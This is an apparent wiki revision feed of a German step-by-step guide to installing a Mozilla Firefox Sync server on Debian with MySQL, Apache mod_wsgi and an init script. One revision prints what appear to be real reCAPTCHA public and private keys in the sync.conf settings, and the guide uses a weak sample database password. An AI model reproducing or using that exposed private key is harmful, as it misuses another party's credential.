Hier wieder weiter als User root:&lt;br /&gt;
 a2enmod wsgi&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/ffsync.oppserver.net.conf Datei anlegen:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
ServerName ffsync.oppserver.net&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
&amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
Order deny,allow&lt;br /&gt;
Allow from all&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
WSGIProcessGroup ffsync&lt;br /&gt;
WSGIDaemonProcess ffsync user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
WSGIPassAuthorization On&lt;br /&gt;
WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
ServerName ffsync.oppserver.net&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
SSLEngine on&lt;br /&gt;
SSLCertificateFile /usr/share/ssl-cert/oppserver.net.pem&lt;br /&gt;
&amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
Order deny,allow&lt;br /&gt;
Allow from all&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
WSGIProcessGroup ffsync&lt;br /&gt;
WSGIDaemonProcess ffsyncs user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
WSGIPassAuthorization On&lt;br /&gt;
WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 a2ensite ffsync.oppserver.net.conf&lt;br /&gt;
 /etc/init.d/apache2 reload&lt;br /&gt;
&lt;br /&gt;
Ich musste bei meinem VPS die threads beim WSGIDaemonProcess von 25 auf 10 senken, damit nicht zuviel RAM Verbrauch an stand.&lt;br /&gt;
&lt;br /&gt;
Um den Sync Server beim Systemstart und jetzt zu starten, erstellen wir ein init Script (nano /etc/init.d/ffsync) mit folgenden Inhalt:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
### BEGIN INIT INFO&lt;br /&gt;
# Short-Description: Mozilla Sync Server&lt;br /&gt;
# Provides:          ffsync&lt;br /&gt;
# Required-Start:    $remote_fs $syslog&lt;br /&gt;
# Required-Stop:     $remote_fs $syslog&lt;br /&gt;
# Default-Start:     2 3 4 5&lt;br /&gt;
# Default-Stop:      0 1 6&lt;br /&gt;
### END INIT INFO&lt;br /&gt;
&lt;br /&gt;
RUNDIR=/var/run/ffsync&lt;br /&gt;
DAEMON=/home/ffsync/server-full/python&lt;br /&gt;
PIDFILE=/var/run/ffsync.pid&lt;br /&gt;
MESSAGELOG=/home/ffsync/tmp/sync-messages.log&lt;br /&gt;
&lt;br /&gt;
PID=`pidof -x -o %PPID paster`&lt;br /&gt;
case &amp;quot;$1&amp;quot; in&lt;br /&gt;
  start)&lt;br /&gt;
    echo &amp;quot;Starting Mozilla Sync Server&amp;quot;&lt;br /&gt;
    [ -d $RUNDIR ] || mkdir $RUNDIR&lt;br /&gt;
    [ -z &amp;quot;$PID&amp;quot; ] &amp;amp;&amp;amp; su ffsync -c &amp;quot;cd /home/ffsync/server-full &amp;amp;&amp;amp; bin/paster serve server.ini &amp;amp;&amp;gt;$MESSAGELOG &amp;amp;&amp;quot;&lt;br /&gt;
    if [ $? -gt 0 ]; then&lt;br /&gt;
      echo &amp;quot;Dont start succesfully. (Maybe it is running?)&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      PID=`pidof -x -o %PPID paster`&lt;br /&gt;
      echo $PID &amp;gt;$PIDFILE&lt;br /&gt;
      echo &amp;quot;Start succesfully.&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
    ;;&lt;br /&gt;
  stop)&lt;br /&gt;
    echo &amp;quot;Stopping Mozilla Sync Server&amp;quot;&lt;br /&gt;
    [ ! -z &amp;quot;$PID&amp;quot; ]  &amp;amp;&amp;amp; kill $PID &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
    if [ $? -gt 0 ]; then&lt;br /&gt;
      echo &amp;quot;Dont stop succesfully. (Maybe it is not running?)&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      echo &amp;quot;Stop succesfully.&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
    ;;&lt;br /&gt;
  restart)&lt;br /&gt;
    $0 stop&lt;br /&gt;
    $0 start&lt;br /&gt;
    ;;&lt;br /&gt;
  *)&lt;br /&gt;
    echo &amp;quot;usage: $0 {start|stop|restart}&amp;quot;&lt;br /&gt;
esac&lt;br /&gt;
exit 0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt geben wir dem Script die richtigen Rechte:&lt;br /&gt;
 chmod +x /etc/init.d/ffsync&lt;br /&gt;
&lt;br /&gt;
Nun starten wir den Sync Server:&lt;br /&gt;
 service ffsync start&lt;br /&gt;
&lt;br /&gt;
Als letztes wenn alles funktioniert tragen wir das Script in die Runlevel ein:&lt;br /&gt;
 update-rc.d ffsync defaults&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=124</id>
		<title>FIREFOX SYNC SERVER DEBIAN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=124"/>
		<updated>2013-05-13T23:44:40Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FIREFOX SYNC SERVER DEBIAN FAQ (Stand 14.05.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Alle Befehle sind als user root auszufuehren:&lt;br /&gt;
&lt;br /&gt;
Die noetigen Pakete installieren:&lt;br /&gt;
 aptitude install libapache2-mod-wsgi python-dev mercurial python-virtualenv php-services-json sqlite3 libmysqlclient-dev mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benutzer ffsync erstellen:&lt;br /&gt;
 adduser --system --home /home/ffsync --group ffsync&lt;br /&gt;
 passwd ffsync&lt;br /&gt;
 usermod -s /bin/bash ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Apache User zu der Gruppe ffsync hinzufuegen:&lt;br /&gt;
 adduser www-data ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mysql einrichten:&lt;br /&gt;
&lt;br /&gt;
 mysql -u root -p mysql&lt;br /&gt;
 create database ffsync;&lt;br /&gt;
 CREATE USER &#039;ffsync&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;ffsync&#039;;&lt;br /&gt;
 SET PASSWORD FOR &#039;ffsync&#039;@&#039;localhost&#039; = PASSWORD(&#039;P@ssw0rt&#039;);&lt;br /&gt;
 grant all on ffsync.* to &#039;ffsync&#039;@&#039;localhost&#039;;&lt;br /&gt;
 quit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den User wechseln:&lt;br /&gt;
 su - ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Server holen und installieren:&lt;br /&gt;
 hg clone https://hg.mozilla.org/services/server-full&lt;br /&gt;
 mkdir data tmp&lt;br /&gt;
 cd server-full&lt;br /&gt;
 make build&lt;br /&gt;
 bin/easy_install Mysql-Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In sync.wsgi folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/home/ffsync/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;development.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;server.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cp development.ini server.ini&lt;br /&gt;
&lt;br /&gt;
In server.ini folges aendern:&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 192.168.0.2 &amp;lt;&amp;lt; Beispiel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/home/ffsync/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In etc/sync.conf folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 [captcha]&lt;br /&gt;
 use = true&lt;br /&gt;
 public_key = xyz&lt;br /&gt;
 private_key = xyz&lt;br /&gt;
 use_ssl = true&lt;br /&gt;
&lt;br /&gt;
Die Keys kann man hier https://www.google.com/recaptcha/admin/create generieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Im folgenden sind nur die Aenderungen aufgefuehrt:&lt;br /&gt;
 [storage]&lt;br /&gt;
 backend = syncstorage.storage.sql.SQLStorage&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 ...&lt;br /&gt;
 quota_size = 20480&lt;br /&gt;
&lt;br /&gt;
 [auth]&lt;br /&gt;
 backend = services.user.sql.SQLUser&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [nodes]&lt;br /&gt;
 # You must set this to your client-visible server URL.&lt;br /&gt;
 # fallback_node = http://example.com/path/to/sync&lt;br /&gt;
 fallback_node = http://ffsync.oppserver.net/&lt;br /&gt;
 &lt;br /&gt;
 [smtp]&lt;br /&gt;
 host = localhost&lt;br /&gt;
 port = 25&lt;br /&gt;
 sender = ffsync@oppserver.net&lt;br /&gt;
 &lt;br /&gt;
 [reset_codes]&lt;br /&gt;
 backend = services.resetcodes.rc_sql.ResetCodeSQL&lt;br /&gt;
 #sqluri = sqlite:////tmp/test.db&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache und Vhost einrichten:&lt;br /&gt;
&lt;br /&gt;
Hier wieder weiter als User root:&lt;br /&gt;
 a2enmod wsgi&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/ffsync.oppserver.net.conf Datei anlegen:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
ServerName ffsync.oppserver.net&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
&amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
Order deny,allow&lt;br /&gt;
Allow from all&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
WSGIProcessGroup ffsync&lt;br /&gt;
WSGIDaemonProcess ffsync user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
WSGIPassAuthorization On&lt;br /&gt;
WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
ServerName ffsync.oppserver.net&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
SSLEngine on&lt;br /&gt;
SSLCertificateFile /usr/share/ssl-cert/oppserver.net.pem&lt;br /&gt;
&amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
Order deny,allow&lt;br /&gt;
Allow from all&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
WSGIProcessGroup ffsync&lt;br /&gt;
WSGIDaemonProcess ffsyncs user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
WSGIPassAuthorization On&lt;br /&gt;
WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 a2ensite ffsync.oppserver.net.conf&lt;br /&gt;
 /etc/init.d/apache2 reload&lt;br /&gt;
&lt;br /&gt;
Ich musste bei meinem VPS die threads beim WSGIDaemonProcess von 25 auf 10 senken, damit nicht zuviel RAM Verbrauch an stand.&lt;br /&gt;
&lt;br /&gt;
Um den Sync Server beim Systemstart und jetzt zu starten, erstellen wir ein init Script (nano /etc/init.d/ffsync) mit folgenden Inhalt:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
### BEGIN INIT INFO&lt;br /&gt;
# Short-Description: Mozilla Sync Server&lt;br /&gt;
# Provides:          ffsync&lt;br /&gt;
# Required-Start:    $remote_fs $syslog&lt;br /&gt;
# Required-Stop:     $remote_fs $syslog&lt;br /&gt;
# Default-Start:     2 3 4 5&lt;br /&gt;
# Default-Stop:      0 1 6&lt;br /&gt;
### END INIT INFO&lt;br /&gt;
&lt;br /&gt;
RUNDIR=/var/run/ffsync&lt;br /&gt;
DAEMON=/home/ffsync/server-full/python&lt;br /&gt;
PIDFILE=/var/run/ffsync.pid&lt;br /&gt;
MESSAGELOG=/home/ffsync/tmp/sync-messages.log&lt;br /&gt;
&lt;br /&gt;
PID=`pidof -x -o %PPID paster`&lt;br /&gt;
case &amp;quot;$1&amp;quot; in&lt;br /&gt;
  start)&lt;br /&gt;
    echo &amp;quot;Starting Mozilla Sync Server&amp;quot;&lt;br /&gt;
    [ -d $RUNDIR ] || mkdir $RUNDIR&lt;br /&gt;
    [ -z &amp;quot;$PID&amp;quot; ] &amp;amp;&amp;amp; su ffsync -c &amp;quot;cd /home/ffsync/server-full &amp;amp;&amp;amp; bin/paster serve server.ini &amp;amp;&amp;gt;$MESSAGELOG &amp;amp;&amp;quot;&lt;br /&gt;
    if [ $? -gt 0 ]; then&lt;br /&gt;
      echo &amp;quot;Dont start succesfully. (Maybe it is running?)&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      PID=`pidof -x -o %PPID paster`&lt;br /&gt;
      echo $PID &amp;gt;$PIDFILE&lt;br /&gt;
      echo &amp;quot;Start succesfully.&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
    ;;&lt;br /&gt;
  stop)&lt;br /&gt;
    echo &amp;quot;Stopping Mozilla Sync Server&amp;quot;&lt;br /&gt;
    [ ! -z &amp;quot;$PID&amp;quot; ]  &amp;amp;&amp;amp; kill $PID &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
    if [ $? -gt 0 ]; then&lt;br /&gt;
      echo &amp;quot;Dont stop succesfully. (Maybe it is not running?)&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      echo &amp;quot;Stop succesfully.&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
    ;;&lt;br /&gt;
  restart)&lt;br /&gt;
    $0 stop&lt;br /&gt;
    $0 start&lt;br /&gt;
    ;;&lt;br /&gt;
  *)&lt;br /&gt;
    echo &amp;quot;usage: $0 {start|stop|restart}&amp;quot;&lt;br /&gt;
esac&lt;br /&gt;
exit 0&lt;br /&gt;
 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt geben wir dem Script die richtigen Rechte:&lt;br /&gt;
 chmod +x /etc/init.d/ffsync&lt;br /&gt;
&lt;br /&gt;
Nun starten wir den Sync Server:&lt;br /&gt;
 service ffsync start&lt;br /&gt;
&lt;br /&gt;
Als letztes wenn alles funktioniert tragen wir das Script in die Runlevel ein:&lt;br /&gt;
 update-rc.d ffsync defaults&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=123</id>
		<title>FIREFOX SYNC SERVER DEBIAN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=123"/>
		<updated>2013-05-13T15:22:59Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FIREFOX SYNC SERVER DEBIAN FAQ (Stand 13.05.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Alle Befehle sind als user root auszufuehren:&lt;br /&gt;
&lt;br /&gt;
Die noetigen Pakete installieren:&lt;br /&gt;
 aptitude install libapache2-mod-wsgi python-dev mercurial python-virtualenv php-services-json sqlite3 libmysqlclient-dev mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benutzer ffsync erstellen:&lt;br /&gt;
 adduser --system --home /home/ffsync --group ffsync&lt;br /&gt;
 passwd ffsync&lt;br /&gt;
 usermod -s /bin/bash ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Apache User zu der Gruppe ffsync hinzufuegen:&lt;br /&gt;
 adduser www-data ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mysql einrichten:&lt;br /&gt;
&lt;br /&gt;
 mysql -u root -p mysql&lt;br /&gt;
 create database ffsync;&lt;br /&gt;
 CREATE USER &#039;ffsync&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;ffsync&#039;;&lt;br /&gt;
 SET PASSWORD FOR &#039;ffsync&#039;@&#039;localhost&#039; = PASSWORD(&#039;P@ssw0rt&#039;);&lt;br /&gt;
 grant all on ffsync.* to &#039;ffsync&#039;@&#039;localhost&#039;;&lt;br /&gt;
 quit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den User wechseln:&lt;br /&gt;
 su - ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Server holen und installieren:&lt;br /&gt;
 hg clone https://hg.mozilla.org/services/server-full&lt;br /&gt;
 mkdir data tmp&lt;br /&gt;
 cd server-full&lt;br /&gt;
 make build&lt;br /&gt;
 bin/easy_install Mysql-Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In sync.wsgi folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/home/ffsync/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;development.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;server.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cp development.ini server.ini&lt;br /&gt;
&lt;br /&gt;
In server.ini folges aendern:&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 192.168.0.2 &amp;lt;&amp;lt; Beispiel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/home/ffsync/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In etc/sync.conf folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 [captcha]&lt;br /&gt;
 use = true&lt;br /&gt;
 public_key = 6Le8OLwSAAAAAK-wkjNPBtHD4Iv50moNFANIalJL&lt;br /&gt;
 private_key = 6Le8OLwSAAAAAEKoqfc-DmoF4HNswD7RNdGwxRij&lt;br /&gt;
 use_ssl = true&lt;br /&gt;
&lt;br /&gt;
Die Keys kann man hier https://www.google.com/recaptcha/admin/create generieren.&lt;br /&gt;
&lt;br /&gt;
Im folgenden sind nur die Aenderungen aufgefuehrt:&lt;br /&gt;
 [storage]&lt;br /&gt;
 backend = syncstorage.storage.sql.SQLStorage&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [auth]&lt;br /&gt;
 backend = services.auth.sql.SQLAuth&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [nodes]&lt;br /&gt;
 # You must set this to your client-visible server URL.&lt;br /&gt;
 # fallback_node = http://example.com/path/to/sync&lt;br /&gt;
 fallback_node = http://ffsync.oppserver.net/&lt;br /&gt;
 &lt;br /&gt;
 [smtp]&lt;br /&gt;
 host = localhost&lt;br /&gt;
 port = 25&lt;br /&gt;
 sender = ffsync@oppserver.net&lt;br /&gt;
 &lt;br /&gt;
 [reset_codes]&lt;br /&gt;
 backend = services.resetcodes.rc_sql.ResetCodeSQL&lt;br /&gt;
 #sqluri = sqlite:////tmp/test.db&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache und Vhost einrichten:&lt;br /&gt;
&lt;br /&gt;
Hier wieder weiter als User root:&lt;br /&gt;
 a2enmod wsgi&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/ffsync.oppserver.net.conf Datei anlegen:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsync user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
 DocumentRoot &amp;quot;/home/ffsync/server-full&amp;quot;&lt;br /&gt;
 ServerName ffsync.oppserver.net&lt;br /&gt;
 CustomLog ${APACHE_LOG_DIR}/ffsync.oppserver.net-access.log combined&lt;br /&gt;
 ErrorLog  ${APACHE_LOG_DIR}/ffsync.oppserver.net-error.log&lt;br /&gt;
 SSLEngine on&lt;br /&gt;
 SSLCertificateFile /usr/share/ssl-cert/oppserver.net.pem&lt;br /&gt;
 &amp;lt;Directory &amp;quot;/home/ffsync/server-full&amp;quot;&amp;gt;&lt;br /&gt;
 Order deny,allow&lt;br /&gt;
 Allow from all&lt;br /&gt;
 &amp;lt;/Directory&amp;gt;&lt;br /&gt;
 WSGIProcessGroup ffsync&lt;br /&gt;
 WSGIDaemonProcess ffsyncs user=ffsync group=ffsync processes=2 threads=25&lt;br /&gt;
 WSGIPassAuthorization On&lt;br /&gt;
 WSGIScriptAlias / /home/ffsync/server-full/sync.wsgi&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 a2ensite ffsync.oppserver.net.conf&lt;br /&gt;
 /etc/init.d/apache2 reload&lt;br /&gt;
&lt;br /&gt;
Ich musste bei meinem VPS die threads beim WSGIDaemonProcess von 25 auf 10 senken, damit nicht zuviel RAM Verbrauch an stand.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=122</id>
		<title>FIREFOX SYNC SERVER DEBIAN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=122"/>
		<updated>2013-05-13T15:21:29Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FIREFOX SYNC SERVER DEBIAN FAQ (Stand 15.03.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Alle Befehle sind als user root auszufuehren:&lt;br /&gt;
&lt;br /&gt;
Die noetigen Pakete installieren:&lt;br /&gt;
 aptitude install libapache2-mod-wsgi python-dev mercurial python-virtualenv php-services-json sqlite3 libmysqlclient-dev mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benutzer ffsync erstellen:&lt;br /&gt;
 adduser --system --home /home/ffsync --group ffsync&lt;br /&gt;
 passwd ffsync&lt;br /&gt;
 usermod -s /bin/bash ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Apache User zu der Gruppe ffsync hinzufuegen:&lt;br /&gt;
 adduser www-data ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mysql einrichten:&lt;br /&gt;
&lt;br /&gt;
 mysql -u root -p mysql&lt;br /&gt;
 create database ffsync;&lt;br /&gt;
 CREATE USER &#039;ffsync&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;ffsync&#039;;&lt;br /&gt;
 SET PASSWORD FOR &#039;ffsync&#039;@&#039;localhost&#039; = PASSWORD(&#039;P@ssw0rt&#039;);&lt;br /&gt;
 grant all on ffsync.* to &#039;ffsync&#039;@&#039;localhost&#039;;&lt;br /&gt;
 quit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den User wechseln:&lt;br /&gt;
 su - ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Server holen und installieren:&lt;br /&gt;
 hg clone https://hg.mozilla.org/services/server-full&lt;br /&gt;
 mkdir data tmp&lt;br /&gt;
 cd server-full&lt;br /&gt;
 make build&lt;br /&gt;
 bin/easy_install Mysql-Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In sync.wsgi folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
